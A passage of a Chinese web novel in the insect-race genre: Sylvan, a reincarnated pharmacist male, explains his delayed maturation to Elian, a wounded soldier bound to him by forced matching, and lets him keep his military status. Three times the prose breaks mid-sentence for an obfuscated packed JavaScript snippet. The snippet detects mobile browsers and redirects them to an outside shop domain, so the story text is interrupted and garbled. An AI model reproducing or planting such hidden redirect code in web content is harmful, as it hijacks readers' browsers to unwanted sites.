西尔万,艾利安暗暗记下这个名字,他知道自己以后对眼前虫的称呼只会是雄主阁下,但了解对方确实是有必要的。 而且这个名字……他的眼神有一瞬的恍惚。是不是,有一点熟悉? 是在哪里听到过吗?还没来得及整理自己似乎出现了微妙偏差记忆的他无法确定这到底是不是他的错觉,或者他根本没有重生,只是穿越到了另一个平行世界的自己的身体上。 “药师。翡翠种。现在是二十五岁,具体的信息回头你可以自己看。” 结婚后雄虫的基础信息以及体检信息是默认对另一方开放的,毕竟照顾自己的雄虫是雌虫的义务,从这个角度上看其实雌虫要毒害自己雄虫也不是什么很难的事情。 所以更多的细节、尤其是自己的身份西尔万也懒得说了,等艾利安未来自己去发现吧,他现在要提的是另一个重点——他特意点出自己宝石脉,可不是为了和对方的自己介绍对称。 “主要是,我觉得应该提醒你一下,虽然按照联邦的制度我已经到了强制匹配阶段,但是我的二次分化还没有过去……或者说,根本就还没到?” “……?”从之前那句话之后就一直垂着眼的艾利安此刻终于有些微妙地抬眼,对上了那双极干净的、琥珀一般的眼瞳。 西尔万重复:“毕竟我是翡翠种。” 雄虫身上很少出现虫种特征特性:在雄虫本就很少开发肉-体力量、本身还存在一定缺陷的情况下,这部分更接近“现实”的东西已经在长久的传承中慢慢被更“高级”的宝石种基因覆盖了。 超凡以及精神才是雄虫所控制的力量,“虫”的根源在他们身上只会以部分如虫纹、虫翼、尾勾的方式显现,这属于基因的选择性表达。 而超凡在现在的虫族社会中当然是更为高贵的存在,所以他们雄虫一般直接以宝石种进行定位,只在一些特殊情况下提及虫种。 实际上,宝石种已经在雄虫身上实现了一定程度的传承,固定的宝石往往和某些契合度更高的虫种绑定,形成了一种不太稳定的规律。 这也就是之前提到的、觉醒宝石特性的虫会脱离部分原种族特性的桎梏、从属为起点开始模糊界限融合其他临近虫类优势的现象——这种模糊后的“属”即为规律,不同的宝石种脉会在不同、但相对固定的几个虫属上出现。 也就是说所以各个雄虫的具体宝石种和虫种是高度关联、很好推测的,这才会被称之为“脉”。 甚至可以说宝石种本身就是未来幻想虫种的雏形,只是还需要时间的沉淀稳定。 翡翠种和之前提到的碧玺种有一定程度的接近、属于临近的宝石脉,其核心超凡特质都是植物亲和。 翡翠种能够和植物达成类似共生的关系、控制植物或者使用植物的能力,一般来说都是在蚁蜂蝶蛾一类中都相对温和的虫种身上传承、觉醒,攻击性不强,具体看天赋和后期开发。 在这个拥有药剂师这种社会地位极高的特殊职业的世界中,大多数翡翠种、碧玺种都有着药剂方面的天赋,会选择成为一名药剂师、又或者其他与之相关的职业。 不过此刻的艾利安在意的是,西尔万居然还没有完成二次分化——而且估计很长一段时间内都不会完成二次分化进程。 翡翠种以及类似的、和植物有关的宝石种都有一种特性,生长周期会较为缓慢,仿佛生命的本质也随着宝石种特性的觉醒而向“乔木”的方向演变,用更长的时间去成长、积淀。 而他们对应的往往都是有化蛹、成虫阶段这一类要经过完全变态发育的正统昆虫(虫族定义相对泛化,但是蛛形纲和昆虫纲之间还是有区别的)。 有这种特殊的机制过度,他们的生长周期往往会进一步拉长,在一次分化后好几次化蛹再二次分化都是有可能的。 ——超凡给身体带来的变化实在太大,再加上虫族现在演化出来的以人形为核心的物种进化方向,单次化蛹是无法在确保安全的情况下完成整套变态发育的。 于是部分可以进行完全变态发育的虫种慢慢发展出了多次化蛹的机制,演变完全结束之后才是二次分化。 西尔万只说了二次分化,而接触了解过这类宝石种的艾利安已经开始怀疑他到底进行过几次化蛹、又还要经历过几次化蛹才能二次分化了。 一般来说,资质越好,被宝石种特性反向影响的程度就越深,西尔万既然能拖到成年两年后才进入强制匹配期(二十二岁进入强制匹配期、西尔万额外延后了两年)让自己“捡漏”,已经充分说明了他的生长之缓慢。 毕竟他都能做到让相关判定程序都为之让步了——虽然似乎只让了一点? 而反向推论一下,既然已经被影响得那么深了,那一方面所要进行的变化更大、另一方面周期也被进一步延长,他估计自己都无法确定需要化蛹几次才能完成二次分化。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990943|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七次起步,上不封顶——历史上真的出现过进行了十多次化蛹才终于完成二次分化的翡翠种,他完全成年的时候同期的宝石种都快死完了。 ……甚至再进一步说,西尔万会被拉进强制匹配完全是因为联邦法规的不健全: 他虽然满足了成年的条件、因为经历了一次化蛹各方面功能也齐全,但是没有完成二次分化的话,是无法孕育后代的。 在法律意义上成年了,可在虫子的传统观念里面依旧处于未成年状态。 就算现在的婚姻本质上只是为了维系感情以及精神安抚关系而非繁衍后代,可最根本的观念并没有发生改变。 信息素依旧会对他们的沟通产生不小的影响,没有繁衍能力的虫族一般情况下是不太会主动生出这方面的欲望的。 其他虫也不会在没有得到信息素暗示的时候随意求爱,那是一种更难以形容的冒犯,有种人类在未成年面前做个暴露狂的感觉。 雌虫可能还会因为需要精神安抚精神疏导本能地需求雄虫、将这种需求映射为爱欲,但雄虫对雌虫其实没有除了性以外的硬性需求。 所以即使可能性很小,却也不是不会出现出现西尔万这种完全不想结婚、乃至连相关欲望都没有的情况。 尤其是能力和植物相关的宝石种,欲望淡泊的例子很多。 不说情欲了,他们的欲望疏淡的同时还基本不会出现在常规如权势、美食上,反倒更贴近自然,普世意义上的无欲无求。 西尔万之前说不想结婚似乎只是空话,但在叠了“翡翠种”和“未二次分化”两层buff之后,突然就充满了说服力。 ……甚至有点微妙地像受害者。 “你明白我的意思了吧?”西尔万看着面前的雌虫,有些无奈般地叹了一口气。 虫种、宝石种、年龄(指分化程度),这些信息对于虫族来说已经能说明很多了——更何况艾利安此刻就站在他的面前。 信息素也是虫族之间进行信息交流至关重要的一环,艾利安一直都能感知到对方身上毫无攻击性的气息。 现在看来不止是本虫的特质,还是因为未成年虫的气息对成年虫来说就是毫无攻击性……他能感知到估计都是因为对方足够强大。 艾利安默默点了点头。 这次散发出来的情绪和之前有了微妙的差别,不能说完全没有警惕,但是却确实柔和了不少。 主要是对方之前都没有骗他,也表现出了努力安抚他的意思,生怕被自己误会一样连这种信息都说出来了,所以不管怎么说他也该有点态度转变了。 ……以及面前这位还没有二次分化。 没有,二次分化。 就算二次分化前后只有是否拥有繁衍能力的区别、心理身体各个方面都已经完全成熟,不然联邦不可能直接定义十五岁成年,但本身没有表露出相关意思的虫在其他虫族眼中依旧会被视作尴尬模糊的“亚成年”期,在考虑及繁衍相关事宜时自然隐形。 尤其虫族现在的繁衍对雄虫有着非常特殊的要求(这也是雄虫得到优待、被刻意捧高的原因之一),未成年根本无法孕育、培育出能孵化的虫卵,自然不会出现在择偶的范围内。 虫族除了部分特殊虫种外都没什么照顾幼小的想法,各种意义上的幼虫会由联邦负责抚养,艾利安就是这种情况。 然而和亚成年结婚是另外一回事,就像不照顾和蓄意迫害也有区别——前者对虫族来说只是一个甚至不一定算道德问题的道德问题,后者犯罪。 就,艾利安现在的情绪,与其说是不安、心虚,倒不如说是一种类似鼻尖养胃雄虫的、微妙难言的不道德感。 连道德感本来就不强的虫族都觉得不道德的程度,在它虫看来是完全匪夷所思、又打破道德底线又没有回报的事情。 5. 自由 第五章 所以这个时候这件事就很像艾利安这个发起强制匹配的逼婚者的错,对方只是尽其所能找一个对自己最好的解决方案而已,起码也没伤害到他。 艾利安对雄虫的低要求就是不直接伤害或者折磨自己,对方所说的实验体事宜根本算不上什么,他这具已经破破烂烂的身体并不恐惧所谓的实验……起码对他来说,是这样的。 实际上西尔万这样的应对对一只翡翠种、尤其还是一只雄虫来说已经非常可贵了。 一般虫在面对这种情况时连顺手照顾的心思都没有,即使是欲望淡泊的翡翠种最多也就是无视,其实并不会在意自己的行为是否会伤及它虫——这对他们来说可能还是有点太道德了。 说这种冷血的、完全靠着某种基因固定规律在活动、文明发展到现在其实也没多少精神追求的种族居然会有道德感这种东西就已经称得上非常奇怪了。 而另一边,艾利安的反应有点超过西尔万的预期——要怪也得怪不健全的、把他也匹配进来的的联邦法案啊。怎么甚至有点在反省自己的样子? ……这是正常的吗?还是说我对整个虫族认知都出了问题?西尔万思考了一瞬,甚至摸了摸自己的良心但又很快放下。 “嗯,不过即使没有二次分化,我在法律意义上依旧是成虫,身体上一样——所以接下来还是正式讨论一下我们接下来的婚姻情况吧。” 终于把各种前置信息全部交代完,做完了铺垫的西尔万回归正题,这下应该可以正常谈话了, “你现在和我是强制匹配后的婚姻关系,你的大多数资产已经按照既定程度全部转移到我名下了。” 虽然对他来说无所谓,但对于普通虫来说应该算是挺大一笔钱——尤其军雌在现在这个虫族社会中只能算是中产阶级,要攒下这些钱估计也挺不容易的。 “是。”雌虫对此并没有异议。 联邦婚姻法规定,雌虫结婚后几乎所有资产都会以下属账户的形式划归为雄主所有,婚后收入同样如此,婚前转移财产属于犯罪。 雌虫婚后的花销都通过雄主为其开启权限的下属账户中进行,每一条消费消息都会被发送到雄主的光脑里,并不手心向上,胜似手心向上。 至于债务……身上背负债务的雌虫是几乎不可能结婚的。即使勉强满足结婚条件,也会在结婚手续正式办理之前被强制偿还债务、无法偿还则抹去结婚资格。 婚后的雌虫则是根本没有从法律意义上借债的权力,总之绝无将负担转移到雄虫身上的可能,在各种方向上都封锁了雌虫给雄虫增加负担的可能性。 雌虫的义务就是供养雄虫——这是所有雌虫从小接受的教育,一代代演化传承、几乎要刻入基因底层成为本能的信念。 当然本来也是基因里的一部分。在现在繁衍的重担同时放在雌雄双性的情况下。 艾利安本虫的财产主要都是资金和不动产,还有少量的物资药剂,处理起来要比其他搞商业、资金链复杂的雌虫轻松得多,也没有出现什么必须要留在他手中的资产。 “(支付)权限我给你全开了,你昏迷期间那些东西有一定消耗,具体的你可以自己看明细。”反正他没有要干涉的意思。 西尔万说的“消耗”其实艾利安指的是被送到这里来之前花费在维持艾利安生命体征上、勉强进行治疗的消耗,也搭不到西尔万身上。 以艾利安之前的伤势,不上点压箱底的东西是不可能保住命的,又没和军部同步信息,暂时也就只能由他自己承担了——尤其按照这个情况之后军部也不可能给他报销——强制匹配后的军雌是在一定程度上和军部割裂关系的,除非雄虫主动放开,不然双方的联系会被视作对雄虫的冒犯。 而艾利安来到西尔万身边后,主要消耗的就是西尔万这边的药剂了,身为药剂师的西尔万储备了非常多的药剂,很多都属于有价无市的类型,硬生生把本来已经濒死的艾利安抢救了回来、稳定住了情况。 当然,没有这些药他也能活,但本来就破破烂烂的身体经过这样一番折腾也彻底废了,是西尔万的支持让他保住了状态。 清楚现在药剂市场、看清楚那些被耗费在自己身上的药剂到底有着什么样的价值,艾利安倒也想说自己会补偿。 然而以他现在所有资产都在对方手里的情况,就算对方说是不会动用也实在不怎么有底气——他做不到用那些本来就已经属于对方的东西去偿还自己欠下的债。 ……或者说从确定对方的态度确实温和的那一刻开始,他就没办法再撑着一口气、竖起自己的尖刺了。 “……了解。”雌虫垂下眼,长发一同垂落,那张精致到妖异的脸上有种淡然的平静——和西尔万有点相似,只不过底色完全不同,“多谢。” “嗯。”虽然那些药剂对西尔万来说算不了什么,但是他还是非常清楚对对方的重要性的,对方起码还知道道谢这件事让他对艾利安的评价勉强上升了一点——对方的难搞让他已经有点迟疑了。 “你是突然被送到我这里来的,这里没有准备专门给你用的东西,你得先在客房凑合一下。” 艾利安对此当然没有意见。能有住的地方对他来说就已经足够了。生活用品什么的,经常在各种极端环境下执行任务的雌虫对此并没有什么要求。 西尔万倒也不至于在这种事情上为难虫,军雌的资产转移一般不包括这种不昂贵的私虫物品、保密类物品也不会移交到雄虫手中,毕竟雄虫的地位高不等于能越过保密界限—— 不过艾利安的东西没送过大概是因为把他本虫送过来就已经足够冒险了,真的带上那些零零碎碎的东西他估计根本到不了西尔万面前。智脑终端也是一样因为双重原因留在了军部那边,现在处于一个完全能被西尔万控制住的状态,也算是果断地移交了主动权吧。 然而条件所限,东西也不好送,麻烦的反倒是签收了艾利安的西尔万。 他示意了一下艾利安身上的衣服:“这里是私虫星球,星网采购起来很麻烦,你有需要的话可以先和智能沟通,如果无法满足的话再申请购买,” 独居的他要找出对方能穿的衣服其实很麻烦,甚至都算得上是一种沉没成本了。 ……虽然主要费心的也不是他?但不管怎么说,准备都已经准备了,他还是希望不要白费。 “具体的星网使用也是一样——你应该很熟悉这个,不过这里的封锁不严,还是有需要就和我的智能沟通,它一直在。” 确实很熟悉。艾利安默默想。毕竟身为军雌的他之前就处于这种环境,各种各样的规章制度需要遵守。 但问题在于星网使用以及采购方面的限制一般都是保护模式,一般出现在一些有保密要求的地区场所,而一颗私虫星球……? 对方持有私虫星球这件事倒是非常正常,在联邦超凡本位且偏向雄虫的各项制度前,资源被富集到天生站在金字塔顶端的雄虫身上可以说是理所应当。 忽略具体位置环境资源这些条件,只是私虫星球的话,基本C级以上的雄虫就能拥有,只有本虫是否愿意的区别,没有雄虫买不起这样的情况。 也许是药剂师的关系?看西尔万的样子本身的地位就很高,如果他进行的药剂研发也有一定保密需求的话,对星球进行高强度的安全防护也完全正常。 不过药剂师……醒来不过短短几分钟就吸收了太多信息,艾利安现在想到这个词还是会茫然,这个世界和他记忆中的模样有了些许偏移,又或者不是“些许”。 但茫然也只是茫然,就像他并不奇怪自己的丈夫会变成现在这个陌生虫一样,他也不奇怪那些与他无关的变化。 他甚至都有些厌恶自己总是太快的思想了。根本就没什么好奇的不是吗? 于是那么一点微不足道的困惑很快被挥散了,雌虫还是那样温顺的样子:“明白,我没有问题。” “另外就是你的伤势……或者说毒素?”之前一长串话都说得很流畅的青年终于稍微停顿了一下,不知道是组织措辞还是别的什么,轻缓的语调听不出什么情绪。 “很严重,加上身上的毒素侵蚀,愈合速度也非常慢、目前看来自愈成功的可能性不大、需要定时用治疗舱治疗。我最近有点忙,你自己可以吗?” 不要看西尔万这里就有一台能直接使用的治疗舱,但实际上治疗舱的使用门槛非常高。 使用难度高的同时还需要消耗昂贵的药剂、本质上是配合药剂师这个职业发展出来的设备,基本只会出现在大型医院和一些金字塔顶端资源占有者手中,往往需要配备专业人员才能使用。 艾利安之前肯定有使用过,但是估计没有自己主动控制食用过。 “您的意思是?”艾利安微垂着头,听到这样的话也只是问。 “……”西尔万微妙地沉默了两秒,到底还是没有否定“您”的称呼,自然地替面前这位过分熟练地完全让渡了主权的雌虫做出了决定, “治疗用的药剂我这边都有,到时候你按照智能的指导自己治疗就好了——有问题来找我。” 治疗舱无法做到像便携式治疗仪一样的傻瓜式使用,但是这本这台有配置过的智脑辅助,加上要应对的是单一病症、只是进行几个固定流程,艾利安应该接受过相关训练,勉强还是能做到独立治疗的。 其实西尔万觉得对方不会主动找他,但该说的话还是要说的,如果真的出现问题,即使艾利安不主动和他提及智能也会通知他,就结果来说差不多。 “……是。” 其实艾利安应该考虑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990944|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下自己的付出……但还是那句话,他已经一无所有了,心里再觉得亏欠也只能是觉得。 最后的,也是最重要的。 “你现在处于病假恢复期叠加婚假,军籍尚未注销、也保有军衔,仍旧有回归战场的可能,”而雄虫终于说出了自己之前所做的准备,“当然,前提是你的身体能够恢复到水平线以上。” B级的军雌其实并不少见,实际上B、C级精神和体质才是广大的基层军雌的素质,宝石种也只是零星,艾利安只是降级,并不是废了。 只是因为过度严重的伤势导致无法稳定的身体情况精神情况,现在的艾利安确实已经无法再上战场、进行正面攻坚作战了,再加上启用强制匹配的代价(不然也不可能把西尔万套进去)就连少将要支付起来也极其艰难——这才会被放弃。 但艾利安的功绩也不会因为一次重伤一笔勾销,加上西尔万的存在以及帮助,如果他的身体精神能恢复到水平线以上,就还能回归军部。 即使不可能再拥有和以前一样的地位,到底也是个可能性。 然而毒素在身,他几乎已经没有真正意义上恢复战斗力的可能,所以这也只是一个遥遥无期的“希望”而已。 “……”艾利安猛然握紧了拳,近乎灰败的眼瞳中掀起惊涛骇浪,“……!” 其他背后的弯弯绕绕他此刻都无法思考,只有那一个短语——保留军籍! 在对方根本还未进行二次分化的信息之后,艾利安第二次感到了震撼:这对一个启用强制匹配找到配偶的军雌来说完全是无法想象的事情! 强制匹配对军雌来说是一项非常“公平”的制度,在特定情况下开启的强制匹配以军雌此前几乎所有功绩为代价,为其进行强制匹配、与合适的雄子达成婚姻。 这种匹配制度中的“强制”主要是对雄虫,在整个社会都享有特权的他们唯有在这件事情上几乎没有拒绝的权力,即使不是完全不能拒绝,也要付出相当的代价。 而与这种可以算是逼迫雄虫得来的婚姻所相对应的是,军雌也会在婚姻关系成立之后自动注销军籍,保证军雌能够全心依附于这个自己几乎是强迫得到的雄子。 这严格来说不是强制匹配制度中被定死的一环,最开始也只是一种顺其自然的选择而已: 所有启用强制匹配的军雌精神海都已经到了崩溃的边缘,这种情况下即使有了雄子的安抚,他们也很难恢复到能够重返战场的程度,倒不如安心疗养、和自己的雄子培养感情,度过平缓的后半生,于是几乎所有的军雌都在此后注销了军籍,投身于家庭。 但在这种行为慢慢成为了约定俗成的一部分、发展到现在后,反倒反向成为了军雌身上的又一条束缚。 这本是一道无法两全的选择,他们总以为自己没能得到的是更好的: 在真正走入那个囚笼之前,谁也不知道自己即将要面对的是怎样惨败的虫生,可在真正放弃自由与荣耀时,他们也是确确实实认为有些没能得到的东西比自己已经拥有的那些要更为重要。 在一切真正到来之前,谁也无法笃定自己的一生。 军虫的身份、军部的背景,在这个为了延续以及发展做出了必要牺牲的虫族社会中,是受缚于雄虫的雌虫唯一的出路。 但当他们为了活下去付出所有启动强制匹配的那一刻开始,就被他们自己放弃了。 ——而如今,面前的雄虫就这样把自由的钥匙放在了他手中。 哪怕知道这种可能实现的几率约等于零、即使前生今世有所差异但是自己的身体就是最大的阻碍……可艾利安又如何能不为此感到心动? 他握紧的拳颓然松开。真的,可以吗? “好了,要说的就这些,我还要忙,就先走了。”西尔万起身,“我的智能会负责引导你的……实在有事的话也可以联系我,这段时间也关注自己身体的恢复吧。” 艾利安不语,只是再次对上那双琥珀般的眼瞳,从中照见那个全然灰暗的自己。 好像是这么多年来,第一次被看见。 被给予这轻若鸿毛的,廉价的,自由。 在那一瞬间,有种类似寂寞的空旷从他的左边胸膛里泛起,又转瞬即逝,只留下一点他自己难以解构的、酸苦难言的余味。 这是我期待的吗……? 艾利安艰涩地开口:“谢谢您。” 谢谢,谢谢,谢谢你愿意把自由交给我…… 哪怕从一开始就知道,它从来没有真正存在过。 他注视着自己未来雄主的背影,光影描出朦胧的轮廓,那个其实到现在都没有真正看清的青年映在他黯淡的瞳中,竟触动一瞬间如梦般的恍惚。 ……可是啊,这个世界上,根本、根本没有能被雌虫得到的幸福。 6. 青蘅 第六章 “嗯,算是意外。” “保留,可以。” “权限什么的暂时不用改……不用对外放出信息,用临时性的。” “不算介意,回头和军部谈一下,毒素信息发我一份。不要卡着。” “看过了,具体内容你说。找你方便。” “会处理的,他们自己都有数。” “蜘蛛目吗?具体宝石种?天枢裔?只是异禀者的话无所谓。” “确定一下而已,虫都来了,资料也不确定可信——更何况之前没有公开。” “确实是藏着,不过废了还特意安排,看来也不是没有感情。” “也算是筹码。” “没什么差别,和联姻一样的利益关系而已,以这种手段来看,只是抱着一点勉强的期待?” “可以排到计划里,但是不太能保证。” “最多一年,可以。” “把我的权限再提一下,我不接受这样的意外出现第二次——即使真的要考虑婚姻价值,他的价值也约等于零。” “法案和主脑也是该更新了,总不能指望一直不出现我这种情况。” “……你帮我谈吗?” “嗯,也行,多的就当中介费了,注意分寸。” “就这样。嗯。” 抽出这么长一段时间应付安抚家中莫名其妙多出来的雌虫、认认真真尽职尽责看完了光脑里收到的对方相关的资料,终于坐回到自己舒适工作椅上还接了个通讯做安排,青年终于放下手中的终端,有些忧愁地按了按太阳穴。 其实虫族头痛按这里根本没作用,只是前世给他留下了一些属于人类的习惯,这么多年都没有改正过来——不过这也和他根本没有用心纠正有关系。 无论是好是坏,过往的经历给人留下的痕迹总是难以改变,西尔万自己是这样,艾利安也同样如此。 而也正因此,他才能够发现某些艾利安自己都没有发现的东西,在他身上找到前世的同类的影子。 西尔万——这个时候,称他为青蘅或者更合适一些。 在这位总是自称为“药师“的青年的记忆中,他有过三段“人生”。 第一世是雌虫,第二世是人类,第三世、也就是现在,他是雄虫。 在两次转生后,他成为了这个似乎完全不符合自然规律的雄尊雌卑世界中,永恒的“上位者”。 但实际上,经历过类似社会背景世界中雌虫一生的青蘅非常清楚地知道,并不是看似身处高位被向往被珍惜就属于“统治阶级”、“上位者”的,被架空的力量不过是表面好看。 他前世社会的雄虫更多时候处于一个吉祥物的位置,也就是说,其拥有的一切特权本质上都是由雌虫所给予的,雄虫手中不曾握有真正的权力。 处于那样一个特定的社会环境中,雄虫不会觉得自己的所有资源完全依靠雌虫得到有什么问题。 自己出去工作甚至会被视为供养他雌虫的不称职,整个社会都没有给雄虫留下工作的机会,而他们本虫根本不会想要去拥有“麻烦”、“辛苦”的权势—— 躺平被雌虫供养难道不好吗?是花蜜不香还是游戏不好玩、食物不美味还是珠宝不闪亮,平时被雌虫哄着玩玩也就算了,哪个雄虫会真的费心费力去做雌虫的工作啊! 雌虫也不会觉得自己身处高位、没必要对雄虫卑躬屈膝求一次精神安抚,因为他们从始至终都认为这是自己应该做的事情,珍惜的雄虫理应得到优待。 他们供养雄虫换取精神疏导,换取舒缓的精神夜晚的安眠,同时也工作维持着社会的安定科技的发展,而雄虫只需要玩乐即可,这就是一代代相传的这个社会运行的方式。 畸形社会的规训平等地对待所有虫,并没有放过某个特定的性别或者阵营——怎么不算是种公平呢? 他们的逻辑都是自洽的,欣然接受自己的社会定位,并为这些东西感到满足,连货真价实的痛苦也会被扭曲。 但同样身处其中的青蘅觉得不行。 他理解这个种族为了延续下去而慢慢演化成这个样子,自然界中从来不缺乏奇葩的种群——可如果种族为了延续自然能够牺牲某一些东西,那他作为某个并不考虑自己基因或者意识的延续的个体,不希望去牺牲又有什么错呢? 或者他确实是叛逆的、有违于自己的种族的利益背弃了自己基因中刻录的指令,但是这就是青蘅。 他只是不想活一天就要受限于自己的身体、受限于特殊的种族特性,把本该属于自己的东西全部献给他虫。 青蘅没办法接受自己服从于其他任何一个存在,哪怕是为了求生。 特殊的种族、特殊的特性本就让他并无太大求生欲,世界上也没有多少让他留恋、让他觉得自己无论如何都要活下去的东西。 对他来说,如果只能用这种扭曲自己的方式活下去、求得一个可以苟延残喘的机会,他大可以选择自己结束这一生。 最多只是不愿意这种更类似逃避的方式去解决问题而已,他只是不太想活,不是就失去了自己的傲骨。 于是就有了后来的药师翡翠——他短暂的一生中研发出了7种可以代替雄虫精神抚慰、3种能够辅助雌虫度过发情期的药物,至死没有屈服于精神的痛苦、为一夜的安眠而向雄虫屈膝。 他是药师,如翡翠如草木,不折傲骨。 在某种程度上,他也是为自己的傲慢功德圆满,从生至死都没有辜负过自己。 ……然后那人类的一生也就算了,这辈子的他变成了一只雄虫,这种扭曲社会制度下明面上的既得利益者。 虫族特性和前世经历叠加,大脑快速发育到能够认知自己现在处境和情况的青蘅情绪微妙复杂。 很多时候,人/虫排斥某个制度又或者对某种存在的优待,追根究底不是憎恨这个制度,而是在憎恨被优待的不是自己——但青蘅倒不是这样的人或者虫。 以及,他也不是什么理想主义者或者平权主义者,虫族这类天性冷血的生物里面很难诞生这样的存在,即使他经过了人类一生的社会化也是一样。 甚至经过了那人类的一生,他更能解明这样的社会生成的原因。 对雄虫的追捧不过是因为社会的规训以及求生繁衍的本能,决定他们选择服从雄虫虚无压迫、甚至自己去主动制造的根本原因,其实也只是雄虫的精神安抚能够延续他们的生命、生物最根本的求生欲而已。 这种社会结构就是单纯的、为了延续而做出的牺牲和扭曲,真正脱离其中之后,哪方都觉得自己不平等、哪方都觉得自己已经得到了自己应有的权力。 当然,真正处于这个社会中时,绝大多数人或者虫的思想都已经被这个社会同化了。 真正有能力且认知到“错误”的存在往往也不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990945|193702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去纠正这个扭曲但稳固的结构,会反过来维系这个让自己爬到现在这个位置的社会结构,哪怕不为了自己的权势,也要考虑到族群的延续。 但青蘅,他只是单纯地无法接受“自己”这个独特的存在因为某种自己无法理解的原因而伤害、无法接受自己付出了努力牺牲了些什么却没有得到自己应该得到的东西。 他曾经所反抗的不是雄虫群体对雌虫群体的压迫——甚至这种情况要反过来说是雌虫驯养了雄虫也没什么问题、到底谁压迫谁还有得计较、怎么算都是一笔烂账——而是世界、社会对他本虫的压迫。 他要自己的付出得到自己应有的回报,所以如果让他得不到的是“制度”,那就改变这制度,如果让他得不到的是社会,那就改变这社会,如果让他得不到的是种族的缺陷,那就去弥补这缺陷。 在如此扭曲的社会中,他最爱的、唯一能去爱的、也唯一会坚决义无反顾地爱着他的,只有他自己。 所以青蘅完全不会去想“如果自己是雄虫就好了”、“如果我拥有的天赋不是植物药物就好了”—— 他对自己的欲望无限包容,近乎偏执地把所有让自己不适、让自己不愿意去接受的因素都归责为外物,并毫不犹豫毫不退却地去改变。 不是“如果我”,而是“如果这个世界”。 如果这个世界不是我想要的、我所能理解而且能接受的样子,那我就自己去改变它。 “我”是不会错的。他非要脱离于雄虫独立存在。 所以他做了,一往无前,不回头不“悔改”,一直到死。 ……然后得到了这个身份。 如果换个角度想,这还真是拼命改变外物不如改变自己的充分证明。 当然,青蘅倒也并没有生出那样的感触。 还是那句话,他不抗拒任何形式的“我”,也不否定那些塑造如今自己、或痛苦或荒唐的过往。 所以就像第一次转生时他能顺利接受自己成为了一个羸弱的人类,在短暂的心情复杂之后,现在的他也能接受自己成为了前世的自己拼命抗拒接近的雄虫。 性别倒置实在有些微妙,可虫族中某些种类其实确实会有在极端情况下发生性别转换的情况,前世那个男性的身份倒也和雄虫有那么一点微妙的相似,所以青蘅对雄性的处境接受程度难说,只对这个性别倒是无所谓。 更重要的当然是,这一生的社会环境虽然依旧扭曲、甚至比起第一世的要更为复杂,但雄虫们起码不像上上辈子中的那样完全一无是处、只凭着精神安抚能力以及本身的稀有当个小废物。 虽然地位依旧显得有点微妙?——各种意义上的,连雄虫自己都不得不去维护的微妙地位——可也在青蘅的接受范围内。 更具体一点说,雄虫对于这个社会有着多方面的、不可或缺的价值,可以拥有实权,处于统治阶层高位的雄虫也是一股相当的势力。 从直接掌权的数目上来看,雄性的比例略低,可起码社会层面上对雄虫掌权的态度和认知还是相当正面的,差不多是一个算得上正面的社会环境。 所以种种优势叠加,他还是很能接受自己现在这个社会处境的——起码这一世的他没必要那么尖锐地去对抗整个社会、甚至其中也包括自己的同类了。 他其实一直都懒得去改变社会,只是无论如何,都要把权力、把自己本来就“应该”得到的东西握在手中。 7. 主角 第七章 综上所述,终于长到能自主行动、了解完这个社会大概情况后,西尔万确定了自己未来算得上轻松的发展路线,同时也成功意识到,虽然每一世自己的处境在自己看来总有这样那样的不好,但其实主要还是因为他本虫的挑剔。 真要算起来,他已经处在了最合适的位置。 不然,他是希望自己作为一个无能弱小的吉祥物享受空中楼阁般的权力呢,还是希望自己在强制匹配后把自己所有的一切都交给另外一个存在掌控?——他没有得到天龙人那样直白的、出生在重点的身份,可他本来也不渴望那些,这就已经足够了。 身份是基础、是起步点,再然后才是能撬动一切的的力量。 得到这样一个便利的、真正全方面占优的身份,又在后面不懈的努力中进一步拥有了天枢裔的力量,这辈子得到“西尔万”这个名字的西尔万已经可以做任何自己喜欢的事情了。 西尔万长到这个年纪,几乎已经手握这个社会中虫族所能掌握的最大的财富、权势、力量以及荣耀,到如今,能给他带来些许困扰的也就只有两件事。 其一,他的二次分化一拖再拖,在先天不足的同时还疑似受到了上上辈子雌虫某些特征的影响变得异常缓慢,令他严重怀疑自己这辈子可能活不到成年那天,各种意义上的活不到。 其二,这辈子他的生理性别和社会性别都是雄虫,除了在雌雄比例悬殊的情况下,哪怕有了今天这个位置也有很大概率会被强制匹配到对象。 虽然他很擅于接受事实,但又不是真的完全不受自己最开始是雌虫的认知的影响,各方面因素下本虫对结婚的意向更是异常淡薄,真的完全不需要联邦给他发老婆。 ……而且他前世和前前世都没有结婚或者谈恋爱又不是 